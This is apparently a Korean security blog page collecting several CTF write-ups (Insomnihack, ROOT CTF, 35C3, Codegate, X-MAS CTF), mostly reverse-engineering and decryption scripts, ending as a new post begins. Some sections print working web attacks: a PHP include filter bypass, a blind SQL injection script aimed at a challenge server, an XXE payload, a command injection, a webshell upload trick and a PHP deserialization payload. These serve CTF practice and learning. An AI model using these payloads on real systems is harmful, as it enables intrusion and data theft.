해당 문제는 대회 때 풀지못하고 추후 롸업을 보고 다시 풀어보았다.


소스는 다음과 같다.


<?php
    stream_wrapper_unregister
('php');
    if(isset(
$_GET['hl'])) highlight_file(__FILE__);

    
$mkdir = function($dir) {
        
system('mkdir -- '.escapeshellarg($dir));
    };
    
$randFolder bin2hex(random_bytes(16));
    
$mkdir('users/'.$randFolder);
    
chdir('users/'.$randFolder);

    
$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
    
$userFolder basename(str_replace(['.','-'],['',''],$userFolder));

    
$mkdir($userFolder);
    
chdir($userFolder);
    
file_put_contents('profile',print_r($_SERVER,true));
    
chdir('..');
    
$_GET['page']=str_replace('.','',$_GET['page']);
    if(!
stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
        include(
$_GET['page']);
    }

    
chdir(__DIR__);
    
system('rm -rf users/'.$randFolder);


내 IP를 기반으로한 디렉토리 내에 profile이란 파일을 생성한다. 이 때 파일 내용은 $_SERVER 변수에 담긴 값들이 삽입된다. 


위의 상황에서 나는 특정 페이지를 include시킬 수 있다.이 때 내가 입력한 페이지에서 .을 제거하고 wrapper와 같은 경우 php wrapper를 사용할 수 없다. 


여기서 간단히 생각해볼 수 있는건 헤더값에 php코드넣고 profile 파일을 포함시키면 될 것 같지만 profile 내에 php,<? 문자열이 존재하는지 검증을 해 php코드를 삽입할 수가 없다. 


현 상황에서 lfi로는 해볼만한게 없었고, rfi 중 현재상황에서 사용가능한 data wrapper를 사용해봤지만 allow_url_include가 off라 사용이 불가능 했다.


일단 profile 파일을 include 시켜야 할 것 같기 때문에 실제로 일단 include부터 시켜보려하면 include가 되지 않는다. 그 이유는 기본적으로 $_SERVER에 PHP_SELF란 속성이 존재해서 include자체가 될 수가 없다. 


말도안되는 상황이지만 해당 서버에 설정을 보면 allow_url_fopen이 On으로 되어있고 이 설정은 일반적으로 디폴트가 On이다. 즉 file관련함수에서 data wrapper사용이 가능하다는 거다. 이 말은 data wrapper로 <?,php 검증은 우회가 가능한데, 추가로 data wrapper 값이 include내에 들어갔을때 allow_url_include가 off라 에러가터져서 필터링 우회한 의미가 없다는 거다.


근데 여기서 우리가 눈여겨봐야할 게 사용자별 디렉토리를 만들 때 무조건 내 IP가 아니라 X_FORWARED_FOR 헤더를 통해 지정된 IP가 존재하면 이걸로 디렉토리를 만든다. 이 값은 내가 컨트롤이 가능하기 떄문에 이 헤더를 통해 디렉토리를 data wrapper형태로 만들어놓으면 data wrapper로 파일내용 검증을 우회한 뒤 이 값이 include에서 wrapper로서가 아닌 디렉토리로서 먼저 인식되어 에러를 안내고 profile 포함이 가능해진다는 거다.


include에서 입력값을 처리하는 순서에 의해 이러한 현상이 발생하는 것 같다. 만약 입력값을 파일경로로서 먼저처리하지않고 wrapper인지 먼저 처리하고 파일경로인지 확인했다면 wrapper로서 인식되어 그대로 에러가 터졌을 것이다. 


해당 문제를 풀면서 느낀건 한 로직 한 로직 의심을가지고 바라보며 한 로직이 우회가능할 때 다음 로직에서 이전 값들이 유효한지를 막연히 추측할게 하니라 이 또한 연계해서 또 끝없는 의심으로 실제 검증테스트까지 다 해봐야한다는 거다. 막연히 이건 이래서 안되라고 생각할게 아니라 혹시?라는 생각이 필요할 것 같다.


여기까지 설명하고 났으니 exploit은 간단하다.



























'CTF > Writeup' 카테고리의 다른 글

NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
Codegate CTF 2019 Preliminary Rich Project  (0) 2019.01.27
Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
ROOT CTF 2017 ROOT Ransomware  (0) 2019.01.02
ROOT CTF 2018 CrackMe  (0) 2019.01.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

문제 파일을 보면 다음과 같이 암호화된 파일이 제공된다.




해당 파일이 암호화되는 로직을 보면 다음과 같다.



암호화 하는 로직이 상당히 심플해보이는데 rand 함수가 custom rand 함수였다. srand 함수 인자인 0x3039값으로 초기 값을 세팅한 후 아래 rand함수에서 다음과 같은 연산을 통해 랜덤 값을 추출해 낸다.



해당 rand함수를 파이썬에서 동일하게 적용해 준 뒤 아래와 같이 복호화 코드를 짜서 파일을 복호화 했다.


import os


def rand(data):

    result_1 = ((214013 * data & 0xffffffff) + 2531011) & 0xffffffff

    result_2 = result_1>>16&0x7fff

    return [result_1,result_2]



for (path, dir, files) in os.walk("C:\\root_ransomware"):

    for filename in files:

        filePath =  path+"\\"+filename

        result = ""

        xor_value = 0x7f

        data = 0x3039

        f1 = open(filePath, "rb")

        fileContents = f1.read()

        f1.close()

        for i in range(0, len(fileContents)):

            tmp = rand(data)

            data = tmp[0]

            tmp1 = ord(fileContents[i])

            Content = chr(ord(fileContents[i]) ^ xor_value)

            Content = chr((ord(Content) - tmp[1] % 0xff - 1) & (2 ** 32 - 1) & 0xff)

            xor_value = xor_value ^ tmp1

            result += Content

        createPath = filePath+".ext"

        f = open(createPath, 'wb')

        f.write(result)

        f.close()



복호화된 파일을 보면 각 폴더별로 png,py,exe,jpeg 파일형태로 존재하는데 각 파일별로 한글자씩 플래그를 뿌려준다.


각 값들을 순서대로 조합하면 다음과 같이 플래그가 나온다.


Flag = FLAG{Danger_encrypt}


'CTF > Writeup' 카테고리의 다른 글

INSOMNIHACK CTF TEASER 2019 Phuck2 :(  (0) 2019.01.22
Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
ROOT CTF 2018 CrackMe  (0) 2019.01.01
ROOT CTF 2018 ROOT_Process_2  (0) 2018.12.30
ROOT CTF 2018 ROOT_Process_1  (0) 2018.12.30
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

문제를 실행해보면 전형적인 CrackMe 형태인데 Flag 계산시 사용되는 알고리즘이 생각보다 어려워 문제 푸는데 거의 하루가 걸려버렸다.



일단 correct를 띄우는 함수 구조를 보면 아래와 같다.



입력값을 받아서 총 3개의 함수를 거치는데 첫번째 함수는 입력 값을 이진수 형태로 변환해주고 세번째 함수는 두번째 함수로 인해 반환된 결과를 custom base64 인코딩시켜준다.


중요한게 2번째 함수였는데 코드는 아래와 같았다.




코드를 대략적으로 보면 기본적으로는 rand 함수로 구해온 값이랑 현재 버퍼위치의 바이트 값으로 인덱스 값 생성 후 byte_6020A0 위치에 존재하는 테이블에서 해당 인덱스로 값을 가져온다. 

이 때 바이트 값이 연속 3개이상 동일할 경우에는 첫번째 값을 !(0x21) 세팅하고 두번째 값은 연속된 바이트 값 개수를 인덱스로해서 테이블에서 값을 구해오며 세번째 값은 이전과 동일하게 rand 함수를 사용해서 구해온다.


위 알고리즘에 맞춰 복호화를 다음과 같이 진행했다.


먼저 비교대상인 base64값을 custom base64 디코딩해서 비교 대상의 hex값을 구해왔다. 해당 코드는 https://github.com/xamiel/custombase64/blob/master/custombase64.py 에서 가져다 썼다.


import base64

import string

import random


cuscharset = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"


b64charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"


encodedset = string.maketrans(b64charset, cuscharset)

decodedset = string.maketrans(cuscharset, b64charset)



def dataencode(x):

    y = base64.b64encode(x)

    y = y.translate(encodedset)

    return y



def datadecode(x):

    y = x.translate(decodedset)

    y = base64.b64decode(y)

    return y



def randset():

    """Generate a random alphabet for use in base64 encoding"""

    x = "".join(random.sample(cuscharset, len(cuscharset)))

    global encodedset

    global decodedset

    encodedset = string.maketrans(b64charset, x)

    decodedset = string.maketrans(x, b64charset)

    if len(cuscharset) == 64:

        print "New random charset: " + x + "="

    elif len(cuscharset) == 65:

        print "New random charset: " + x


    print "Record the above string if you ever want to be able to decode this data again.\n"


# Uncomment the command below to generate a random base64 alphabet.

#randset()


plaintext = "1234"


#  Encode the plaintext string

enc = dataencode(plaintext)

#enc = 'WGtECM0UDeq9CGs3eHwGriEFqdYIrjgGvdw5qSEGrTkIrTU4vdrFqcEHpjkIqTC4'


#  Decode back into plaintext string

dec = datadecode(enc)


print datadecode("39xs8IzeMEDEsLl/N+ps8yHgRGB9osPSRwD1RwC7QHVdr0xx5qp/fFMCRMFFccMaRGAEcHSEnFVs8w5yI7QlRwDzleMtykO2mbSEqDRvYhfcRwCbi7hsMiJvzbSEebSEzj1yBC9sMomuwHV7K+Zs8ypBUbVdko9oRGzsR+tsMhp8msHV4c2QEP4CGKFsMsps8H7kuclvIBwRRGzRrKyi+akVRwCAIXAAdswNntZ5OIzic1LbHoP/ibd/xdw7FWBsMmfi6VmryjVs8zhSNeZYRGYmRoZmfpskXa8qOrV7IdDQRwCWXL1s8GlpFrSEL/3rRwD0UJCQ6iJs8vG4LDLW2bSEBBeoRwF9eS1sModdQDUnh+cOxBZ8qGts8uhs8CnKKXV7jHSEXFts8yN4RGz7CtJ=").encode("hex")



위 코드를 통해 구해온 hex값을 아래 코드를 통해 복호화하여 다시 이진수 형태로 변환해줬다.


import ctypes


table = [0x52,0x09,0x6A,0xD5,0x30,0x36,0xA5,0x38,0xBF,0x40,0xA3,0x9E,0x81,0xF3,0xD7,0xFB,0x7C,0xE3,0x39,0x82,0x9B,0x2F,0xFF,0x87,0x34,0x8E,0x43,0x44,0xC4,0xDE,0xE9,0xCB,0x54,0x7B,0x94,0x32,0xA6,0xC2,0x23,0x3D,0xEE,0x4C,0x95,0x0B,0x42,0xFA,0xC3,0x4E,0x08,0x2E,0xA1,0x66,0x28,0xD9,0x24,0xB2,0x76,0x5B,0xA2,0x49,0x6D,0x8B,0xD1,0x25,0x72,0xF8,0xF6,0x64,0x86,0x68,0x98,0x16,0xD4,0xA4,0x5C,0xCC,0x5D,0x65,0xB6,0x92,0x6C,0x70,0x48,0x50,0xFD,0xED,0xB9,0xDA,0x5E,0x15,0x46,0x57,0xA7,0x8D,0x9D,0x84,0x90,0xD8,0xAB,0x00,0x8C,0xBC,0xD3,0x0A,0xF7,0xE4,0x58,0x05,0xB8,0xB3,0x45,0x06,0xD0,0x2C,0x1E,0x8F,0xCA,0x3F,0x0F,0x02,0xC1,0xAF,0xBD,0x03,0x01,0x13,0x8A,0x6B,0x3A,0x91,0x11,0x41,0x4F,0x67,0xDC,0xEA,0x97,0xF2,0xCF,0xCE,0xF0,0xB4,0xE6,0x73,0x96,0xAC,0x74,0x22,0xE7,0xAD,0x35,0x85,0xE2,0xF9,0x37,0xE8,0x1C,0x75,0xDF,0x6E,0x47,0xF1,0x1A,0x71,0x1D,0x29,0xC5,0x89,0x6F,0xB7,0x62,0x0E,0xAA,0x18,0xBE,0x1B,0xFC,0x56,0x3E,0x4B,0xC6,0xD2,0x79,0x20,0x9A,0xDB,0xC0,0xFE,0x78,0xCD,0x5A,0xF4,0x1F,0xDD,0xA8,0x33,0x88,0x07,0x21,0x31,0xB1,0x12,0x10,0x59,0x27,0x80,0xEC,0x5F,0x60,0x51,0x7F,0xA9,0x19,0xB5,0x4A,0x0D,0x2D,0xE5,0x7A,0x9F,0x93,0xC9,0x9C,0xEF,0xA0,0xE0,0x3B,0x4D,0xAE,0x2A,0xF5,0xB0,0xC8,0xEB,0xBB,0x3C,0x83,0x53,0x99,0x61,0x17,0x2B,0x04,0x7E,0xBA,0x77,0xD6,0x26,0xE1,0x69,0x14,0x63,0x55,0x7D,0x0C,0xC7]

flag = [0xeb,0x47,0x21,0xd5,0x16,0xaf,0x35,0x55,0x95,0x84,0xea,0x3f,0x33,0xe9,0x21,0xd5,0xb4,0xad,0x21,0x36,0x34,0x96,0x12,0x87,0x21,0xd5,0xbc,0x21,0xd5,0xf6,0x25,0x21,0x30,0x8b,0xd7,0x1c,0xe2,0x39,0x3f,0xb9,0x43,0x57,0x20,0xd5,0x14,0xc7,0x13,0x73,0x21,0x36,0x55,0xc5,0x21,0xd5,0x99,0x41,0x21,0xd5,0xde,0x1b,0x47,0x62,0x68,0x21,0xd5,0x9a,0xa2,0xf3,0x60,0x6e,0x92,0xfb,0x9f,0x21,0xd5,0x8d,0x62,0x1e,0x06,0xcb,0xb1,0x21,0xd5,0xf2,0xaf,0x6b,0x21,0x36,0xb4,0x1e,0x6b,0x21,0xd5,0xbf,0x21,0xd5,0x6a,0xaf,0x1b,0x61,0x7d,0x21,0x36,0x59,0xdf,0x75,0x21,0x36,0x3f,0xe0,0x21,0xd5,0xb9,0x18,0x17,0x21,0x30,0xa6,0x5d,0x25,0x21,0x36,0xa1,0x23,0xe8,0x21,0x36,0xc9,0x35,0x9e,0x14,0x84,0xe7,0x1e,0xc9,0x54,0xae,0x57,0x4c,0xf5,0x21,0x36,0x19,0x21,0xd5,0x2d,0xa9,0x7f,0x1a,0x1e,0x45,0x87,0x48,0x21,0x36,0x88,0x88,0xf6,0xeb,0xfb,0x3a,0x44,0x21,0xd5,0xd9,0x44,0x26,0x59,0xc2,0x17,0x4c,0x9a,0x00,0x38,0x2d,0x16,0xab,0xc7,0xc3,0xb2,0x4a,0x52,0xbf,0xaf,0x2c,0x3f,0x73,0x07,0x76,0x50,0x36,0x21,0x36,0x7b,0xab,0xdc,0x49,0xe2,0x6e,0xa1,0x21,0xd5,0xab,0x07,0x32,0xf0,0x01,0x21,0x30,0x67,0x22,0x50,0x27,0xba,0x48,0x69,0x0b,0x3d,0x63,0x2e,0x21,0x36,0x47,0x05,0x89,0x21,0xd5,0xc3,0x08,0xef,0x21,0xd5,0x3a,0x24,0x52,0x21,0xd5,0x3b,0xfe,0xa2,0x21,0xd5,0xbd,0x15,0x05,0xc9,0xde,0xb4,0x21,0xd5,0xe4,0xf9,0x39,0x63,0x83,0xef,0x21,0xd5,0x61,0x8b,0xe5,0x21,0xd5,0x34,0xbc,0x7f,0x21,0x36,0x5c,0x30,0x25,0x61,0x66,0xb3,0xec,0x4b,0x71,0x80,0x35,0x8d,0x38,0x21,0xd5,0xfb,0x21,0xd5,0x79,0x8f,0x3c,0x21,0x36,0xa9,0x21,0xd5,0x09,0x48,0x21,0xd5,0xb3,0x39,0x21,0x36,0xb6,0x5e,0x04]

def check_index(data):

    for i in range(0,len(table)):

        if data==table[i]:

                print "yo="+str(i)

                return i


random_libc = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')

random_libc.srand(0x7e2)

binary = ""

for i in range(0,len(flag)):

    if flag[i]!=0x21 and flag[i-2]==0x21:

        tmp = random_libc.random()&0xff

        if  check_index(flag[i])==tmp:

            binary += "0"*check_index(flag[i-1])

        else:

            binary += "1"*check_index(flag[i-1])

    elif flag[i]!=0x21 and flag[i-1]!=0x21 and flag[i-2]!=0x21:

        tmp =  random_libc.random()&0xff

        print tmp

        if check_index(flag[i])==tmp:

        binary += "0"

        else:

            binary += "1"


print binary



Result 

010001100100110001000001010001110111101101001001010111110111011100110001011011000110110001011111010001110011000001011111011101000011000001011111010110010011000001110101010111110110110001101001011010110011001101011111010101000110100001100101010111110100011000110001011100100111001101110100010111110101001101101110001100000111011101111101


이렇게 구한 이진수 값을 다시 문자열로 변환해주면 플래그가 나온다.


flag = ""

flag_bin = [0b01000110,0b01001100,0b01000001,0b01000111,0b01111011,0b01001001,0b01011111,0b01110111,0b00110001,0b01101100,0b01101100,0b01011111,0b01000111,0b00110000,0b01011111,0b01110100,0b00110000,0b01011111,0b01011001,0b00110000,0b01110101,0b01011111,0b01101100,0b01101001,0b01101011,0b00110011,0b01011111,0b01010100,0b01101000,0b01100101,0b01011111,0b01000110,0b00110001,0b01110010,0b01110011,0b01110100,0b01011111,0b01010011,0b01101110,0b00110000,0b01110111,0b01111101]

for i in range(0,len(flag_bin)):

    flag += chr(flag_bin[i])

print flag


Flag = FLAG{I_w1ll_G0_t0_Y0u_lik3_The_F1rst_Sn0w}




'CTF > Writeup' 카테고리의 다른 글

Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
ROOT CTF 2017 ROOT Ransomware  (0) 2019.01.02
ROOT CTF 2018 ROOT_Process_2  (0) 2018.12.30
ROOT CTF 2018 ROOT_Process_1  (0) 2018.12.30
35C3 CTF 2018 php  (0) 2018.12.30
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 문제의 코드를 보면 다음과 같다.



코드를 보면 memcpy를 통해 특정 메모리 영역에 있는 값을 0x2400bytes 만큼 복사한다.


해당 영역을 보면 PE 헤더가 존재하는걸 볼 수 있고 그대로 해당 메모리 영역을 덤프한뒤 다시 ida로 까보면 다음과 같은 로직이 나온다.






복호화 로직은 간단하다. 입력 값과 rand한 값을 가지고 xor한 값이 암호화된 값과 같으면 된다. 이 때 시드 값이 고정되어 있어 매번 같은 rand값이 구해지기 때문에 다음과 같이 복호화를 시도했다.


inputValue = [0x6F,0x78,0x2E,0x13,0x0C,0x35,0x00,0x7A,0x72,0x0F,0x44,0x20,0x62,0x5A,0x54,0x2E,0x3E,0x35,0x4E,0x08,0x7B]

randValue = [0x29,0x34,0x6f,0x54,0x77,0x67,0x30,0x15,0x26,0x50,0x75,0x4e,0x28,0x3f,0x37,0x6e,0x4a,0x04,0x01,0x66,0x06]

flag = ""


for i in range(0,len(inputValue)):

    flag += chr(inputValue[i]^randValue[i])


print flag



Flag = FLAG{R0oT_1nJec@t1On}








'CTF > Writeup' 카테고리의 다른 글

ROOT CTF 2017 ROOT Ransomware  (0) 2019.01.02
ROOT CTF 2018 CrackMe  (0) 2019.01.01
ROOT CTF 2018 ROOT_Process_1  (0) 2018.12.30
35C3 CTF 2018 php  (0) 2018.12.30
Codegate 2014 clone technique  (1) 2018.12.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 대회는 대회 당시 웹 문제들만 풀어봐서 대회 종료 후 리버싱 문제들을 다시 풀어봤다.


int sub_411860()

{

  int v0; // edx

  int v1; // ST08_4

  char v3; // [esp+0h] [ebp-698h]

  DWORD flag_pid; // [esp+250h] [ebp-448h]

  HWND hWnd; // [esp+25Ch] [ebp-43Ch]

  int j; // [esp+268h] [ebp-430h]

  CHAR *v7; // [esp+274h] [ebp-424h]

  unsigned int i; // [esp+280h] [ebp-418h]

  BOOL v9; // [esp+28Ch] [ebp-40Ch]

  PROCESSENTRY32 pe; // [esp+298h] [ebp-400h]

  char Dst[280]; // [esp+3C8h] [ebp-2D0h]

  size_t v12; // [esp+4E0h] [ebp-1B8h]

  int current_pid; // [esp+4ECh] [ebp-1ACh]

  int v14; // [esp+4F8h] [ebp-1A0h]

  int v15; // [esp+504h] [ebp-194h]

  DWORD dwProcessId; // [esp+510h] [ebp-188h]

  HANDLE hSnapshot; // [esp+528h] [ebp-170h]

  int v18; // [esp+640h] [ebp-58h]

  int v19; // [esp+644h] [ebp-54h]

  int v20; // [esp+648h] [ebp-50h]

  int v21; // [esp+64Ch] [ebp-4Ch]

  int v22; // [esp+650h] [ebp-48h]

  int v23; // [esp+654h] [ebp-44h]

  int v24; // [esp+658h] [ebp-40h]

  int v25; // [esp+65Ch] [ebp-3Ch]

  int v26; // [esp+660h] [ebp-38h]

  int v27; // [esp+664h] [ebp-34h]

  int v28; // [esp+668h] [ebp-30h]

  int v29; // [esp+66Ch] [ebp-2Ch]

  int v30; // [esp+670h] [ebp-28h]

  int v31; // [esp+674h] [ebp-24h]

  int v32; // [esp+678h] [ebp-20h]

  int v33; // [esp+67Ch] [ebp-1Ch]

  int v34; // [esp+680h] [ebp-18h]

  int v35; // [esp+684h] [ebp-14h]

  int v36; // [esp+688h] [ebp-10h]

  int v37; // [esp+68Ch] [ebp-Ch]

  int v38; // [esp+694h] [ebp-4h]

  int savedregs; // [esp+698h] [ebp+0h]


  sub_411235(&unk_41C017);

  system("title Very_easy_Reversing!");

  ((void (*)(void))sub_41123F)();

  v18 = 31;

  v19 = 41;

  v20 = 66;

  v21 = 15;

  v22 = 58;

  v23 = 50;

  v24 = 40;

  v25 = 29;

  v26 = 23;

  v27 = 49;

  v28 = 19;

  v29 = 21;

  v30 = 71;

  v31 = 87;

  v32 = 65;

  v33 = 69;

  v34 = 71;

  v35 = 11;

  v36 = 31;

  v37 = 68;

  hSnapshot = j_CreateToolhelp32Snapshot(2u, 0);

  GetCurrentProcessId();

  dwProcessId = ((int (*)(void))sub_41123F)();

  GetCurrentThread();

  v15 = ((int (*)(void))sub_41123F)();

  OpenProcess(0x2000000u, 1, dwProcessId);

  v14 = ((int (*)(void))sub_41123F)();

  GetCurrentProcessId();

  current_pid = ((int (*)(void))sub_41123F)();

  j_memset(Dst, 0, 0x104u);

  if ( hSnapshot )

  {

    pe.dwSize = 296;

    v9 = j_Process32First(hSnapshot, &pe);

    while ( v9 )

    {

      v9 = j_Process32Next(hSnapshot, &pe);

      v12 = j_strlen(pe.szExeFile);

      for ( i = 0; i < 0x14; ++i )

        pe.szExeFile[i] ^= *((_BYTE *)&v18 + 4 * i);

      j_memset(Dst, 0, 4u);

      v7 = pe.szExeFile;

      for ( j = 0; j < 20; ++j )

        Dst[j] = v7[j];

      FindWindowA(0, Dst);

      hWnd = (HWND)((int (*)(void))sub_41123F)();

      if ( hWnd )

      {

        GetWindowThreadProcessId(hWnd, &flag_pid);

        ((void (*)(void))sub_41123F)();

        if ( flag_pid == current_pid )

        {

          sub_41104B("Correct\n", v3);

          system("pause");

          ((void (*)(void))sub_41123F)();

          goto LABEL_15;

        }

      }

    }

  }

  system("pause");

  ((void (*)(void))sub_41123F)();

LABEL_15:

  sub_411262(&savedregs, &dword_411B9C, 0, v0);

  return sub_41123F((unsigned int)&savedregs ^ v38, v1);

}


코드를 보면 프로세스 리스트를 가져온 뒤 exe파일들에 대해 간단한 xor연산을 거친다. 이 때 구한 문자열을 통해 가져온 PID 값이 현재 파일의 PID와 같아야 한다. 즉 xor 연산을 통해 구해온 값이 현재 파일명인 Very_easy_Reversing!.exe이면 된다. 


 for ( i = 0; i < 0x14; ++i )

        pe.szExeFile[i] ^= *((_BYTE *)&v18 + 4 * i);


해당 코드에 맞게 복호화를 해보면 플래그가 나온다.


a = "Very_easy_Reversing!"
b = [31,41,66,15,58,50,40,29,23,49,19,21,71,87,65,69,71,11,31,68]
flag = ""
for i in range(0,len(a)):
flag += chr(ord(a[i])^b[i])
print "Flag = " + flag


Flag = IL0veWInnnAp1236.exe




'CTF > Writeup' 카테고리의 다른 글

ROOT CTF 2018 CrackMe  (0) 2019.01.01
ROOT CTF 2018 ROOT_Process_2  (0) 2018.12.30
35C3 CTF 2018 php  (0) 2018.12.30
Codegate 2014 clone technique  (1) 2018.12.29
X-MAS CTF 2018 Web Write up  (0) 2018.12.24
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

35C3 CTF 2018 php

CTF/Writeup 2018. 12. 30. 15:26

문제에서 제공해주는 소스를 확인해보면 다음과 같다.


<?php


$line = trim(fgets(STDIN));


$flag = file_get_contents('/flag');


class B {

  function __destruct() {

    global $flag;

    echo $flag;

  }

}


$a = @unserialize($line);


throw new Exception('Well that was unexpected…');


echo $a;


간단히 B 클래스의 serialize된 데이터를 넣어주면 될 것 같은데 unserialize 후 강제로 익셉션을 발생시키는 코드 때문에 __destruct 메소드가 호출되지 않았다.

로컬에서 이것저것 테스트해보다가 직렬화된 데이터를 비정상적으로 조작해서 요청하니 다음과 같이 역직렬화 후 __destruct가 호출되는걸 볼 수 있었다.



요대로 문제 서버에 요청해보니 플래그가 나왔다.


payload = O:1:"B":0:{



Flag = 35C3_php_is_fun_php_is_fun

'CTF > Writeup' 카테고리의 다른 글

ROOT CTF 2018 ROOT_Process_2  (0) 2018.12.30
ROOT CTF 2018 ROOT_Process_1  (0) 2018.12.30
Codegate 2014 clone technique  (1) 2018.12.29
X-MAS CTF 2018 Web Write up  (0) 2018.12.24
hwp CTF 2018 unpack0r  (0) 2018.12.10
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

윈도우 리버싱 문제다.


바이너리를 실행해보면 딱히 눈에 보이는 것 없이 아무것도 하지 않고 그냥 꺼진다. 


ida로 코드를 확인해보면 다음과 같이 자기 자신을 재귀적으로 400번 실행하는 작업을 한다.



이 때 눈여겨 볼게 프로세스 실행을 할 때 3개의 인자가 추가되어 실행이 된다는 점이다. 이 값이 어떻게 생성되는지 확인해보면 다음과 같다.



프로세스 실행 시 입력된 인자를 통해 특정 연산들을 거쳐 새로운 인자 값을 만들어 다음 프로세스 실행 시 인자로 사용하는 걸 볼 수 있었다. 


그리고 코드를 잘 보면 입력 된 인자 값을 새로운 인자 값으로 세팅하기 전에 memset으로 특정 메모리 영역을 초기화 시키는데 이 때 초기화되는 메모리 영역이 특정 함수를 통해 지정된다. 


이 함수 인자로 프로세스 실행 시 사용되는 인자 2개가 사용되기 때문에 해당 함수가 어떤 작업을 하는지 살펴보았다.


 코드를 보면 특정 메모리 영역에 존재하는 값을 프로세스 실행 시 사용된 인자 2개로 간단한 xor를 통해 복호화 하는 작업을 하고 있었다. 이를 통해 총 400개의 프로세스 중 정확히 복호화를 진행하는 인자 값이 존재할 거라고 생각했다.


이제 인자 값을 새로 세팅하는 로직을 분석해서 복호화를 진행하면 되는데, 코드 짜는데 시간이 좀 걸릴 것 같아서 아래와 같이 코드 패치를 통해 각 프로세스 별로 복호화된 문자열을 메시지 박스 형태로 띄우도록 했다.





이제 프로그램 실행 후 메시지박스를 계속 클릭해주다보면 다음과 같이 복호화된 문자열 중 정상적인 값이 나온다.
















'CTF > Writeup' 카테고리의 다른 글

ROOT CTF 2018 ROOT_Process_1  (0) 2018.12.30
35C3 CTF 2018 php  (0) 2018.12.30
X-MAS CTF 2018 Web Write up  (0) 2018.12.24
hwp CTF 2018 unpack0r  (0) 2018.12.10
TenDollar CTF 2018 Cat-Proxy  (0) 2018.12.02
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Santa's Helper Mechagnome


문제에서 제공하는 디코 계정에서 말을 걸어보면 아래와 같은 기능들을 제공한다.



여기서 sendletter 기능 사용 시 메시지 내용에서 command injection이 터진다.


이를 이용해서 restart 코드를 가져와서 입력해주면 된다.


sendletter randdev@santa.com `cat robot_restart_codes.txt`



Flag = X-MAS{Wh0_Kn3W_4_H3lp3r_M3ch4gN0m3_W0uLd_b3_S0_vULN3R4bL3}





Santa's lucky number


문제에 들어가보면 페이지 넘버에 따라 출력되는 hash값이 다르다. 그냥 Brute Forcing으로 1~2000까지 넣어보니 플래그가 있었다.


Flag = X-MAS{W00pS_S0m30n3_73l1_S4n7a_h1s_c00k1eS_Ar3_BuRn1ng}






GnomeArena: Rock Paper Scissors


웹쉘 문제다. 업로드 기능이 있는데 업로드된 파일명이 프로필 네임을 가지고 저장된다. 이 때 확장자 검증이 없어서 php 확장자로 그냥 웹쉘 올려주면되는데 파일 헤더를 검증해 이미지파일인지 확인을 하고있어 png파일 마지막부분에 php 코드를 넣어서 업로드 해주면 된다.


Flag = X-MAS{Ev3ry0ne_m0ve_aw4y_th3_h4ck3r_gn0m3_1s_1n_t0wn}






Gnome's BU77ons


들어가보면 버튼 하나만 떡하니 있다. 해당 버튼 클릭 후 파라미터 값에 flag를 넣어주면 된다. 


X-MAS{PhPs_A1n7_m4d3_f0r_bu77_0ns___:)}






Our Christmas Wishlist


간단한 XXE 문제다. .htaccess 파일 읽어보면 플래그 파일명이 존재한다. 해당 플래그 파일 읽어주면 된다.


<?xml version="1.0"?>

<!DOCTYPE ssr[

<!ENTITY ssrtest SYSTEM "php://filter/convert.base64-encode/resource=flag.txt">

]>

<message>&ssrtest;</message>


Flag = X-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}






Santa's No Password Login System


User-Agent에서 Blind SQLI가 터진다.


별도의 필터링이 없어서 그냥 데이터 쭉쭉 뽑아오면 플래그가 나온다.


import requests


def get_flag(payload):

    url = "http://199.247.6.180:12003/"

    header = {'User-Agent':payload}

    response = requests.get(url,headers=header).text

    if "Welcome" in response:

        return True

    else:

        return False



flag = ""

for i in range(1,50):

    binary = ""

    for j in range(1,9):

        payload = "' or 1=if(substring(lpad(bin(ord(substring(ua,"+str(i)+",1))),8,0),"+str(j)+",1)=1,1,0)#"

        if get_flag(payload)==True:

            binary += "1"

        else:

            binary += "0"

    if binary != "00000000":

        flag += chr(int(binary,2))

        print "[-]Find Flag = "+flag

        

print "[*]Find Flag = "+flag


Flag = X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}






Reindeers and cookies


문제에 들어가보면 쿠키 값에 다음과 같은 값들이 있다.


adminpass=MyLittleCookie%21; cookiez=WlhsS2NGcERTVFpKYWtscFRFTktNR1ZZUW14SmFtOXBXak5XYkdNelVXbG1VVDA5


먼저 Base64된 값을 쭉 디코딩해보면 아래와 같은 값이 나오는데 type을 admin으로 변경해서 다시 인코딩해보면 admin password가 틀리다고 나온다.


{"id":"2","type":"guest"} -> {"id":"2","type":"admin"}


sqli는 안먹히길래 php trick류로 생각했고 비교할 때 strcmp를 쓰나하고 adminpass를 array로 넘겨주니 플래그가 나왔다.


Flag = X-MAS{S4n74_L0v35__C00kiesss_And_Juggl1ng!}





















'CTF > Writeup' 카테고리의 다른 글

35C3 CTF 2018 php  (0) 2018.12.30
Codegate 2014 clone technique  (1) 2018.12.29
hwp CTF 2018 unpack0r  (0) 2018.12.10
TenDollar CTF 2018 Cat-Proxy  (0) 2018.12.02
TenDollar CTF 2018 Kou  (0) 2018.12.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

hwp CTF 2018 unpack0r

CTF/Writeup 2018. 12. 10. 11:23

해당 문제는 대회 기간중엔 못풀고 롸업을 봤는데 트릭이 상당히 재미있어서 정리해 봤다.


먼저 문제에 들어가보면 아래와 같이 소스코드를 제공해 준다.


<?php
